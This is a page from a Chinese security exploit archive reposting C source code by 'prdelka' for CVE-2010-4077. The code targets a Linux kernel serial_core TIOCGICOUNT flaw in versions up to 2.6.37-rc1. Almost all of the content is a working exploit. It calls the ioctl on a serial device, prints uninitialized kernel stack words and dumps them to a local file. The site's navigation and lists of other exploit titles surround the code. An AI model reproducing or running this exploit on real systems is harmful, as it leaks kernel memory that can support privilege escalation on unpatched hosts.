首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT Leak Exploit
来源:vfocus.net 作者:prdelka 发布时间:2011-03-15  

/* Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak
 * ================================================
 * Information leak exploit for CVE-2010-4077 which
 * leaks kernel stack space back to userland due to
 * uninitialized struct member "reserved" in struct
 * serial_icounter_struct copied to userland. uses
 * ioctl to trigger memory leak, dumps to file and
 * displays to command line.
 *
 * -- prdelka
 *
 */
#include <termios.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/serial.h>
#include <stdio.h>
#include <stdlib.h> 
#include <string.h>

int main(int argc, char* argv[]) {
    int fd, ret = 0, i;
    struct serial_icounter_struct buffer;
    printf("[ Linux <= 2.6.37-rc1 serial_core TIOCGICOUNT leak exploit\n");
    if(argc < 2){
 printf("[ You need to supply a device name e.g. /dev/ttyS0\n");
 exit(-1);
    };
    memset(&buffer,0,sizeof(buffer));
    if((fd = open(argv[1], O_RDONLY)) == -1){
 printf("[ Couldn't open %s\n",argv[1]);
 exit(-1);
    }
    if((ioctl(fd, TIOCGICOUNT, &buffer)) == -1){
 printf("[ Problem with ioctl() request\n");
 exit(-1);
    }
    close(fd);
    for(i=0;i<=9;i++){
            printf("[ int leak[%d]: %x\n",i,buffer.reserved[i]);
    };
    if((fd = open("./leak", O_RDWR | O_CREAT, 0640)) == -1){
 printf("[ Can't open file to write memory out\n");
 exit(-1);
    }
    for(i=0;i<=9;i++){
     ret += write(fd,&buffer.reserved[i],sizeof(int));
    }
    close(fd);
    printf("[ Written %d leaked bytes to ./leak\n",ret);
    exit(0);
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·checkview v1.1 for iPhone / iP
·Android 2.0 ,2.1, 2.1.1 WebKit
·Kolibri <= v2.0 HTTP Server HE
·ABBS Audio Media Player 3.0 .l
·ABBS Audio Media Player Buffer
·ABBS Electronic Flash Cards 2.
·Opera Mobile 10.1 In Nokia N97
·VLC Media Player 1.0.5 Crash P
·Foxit PDF Reader 4.2 Javascrip
·Rails 3.0.5 Log File Injection
·Opera 11.01 NULL PTR Derefernc
·Accellion File Transfer Applia
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved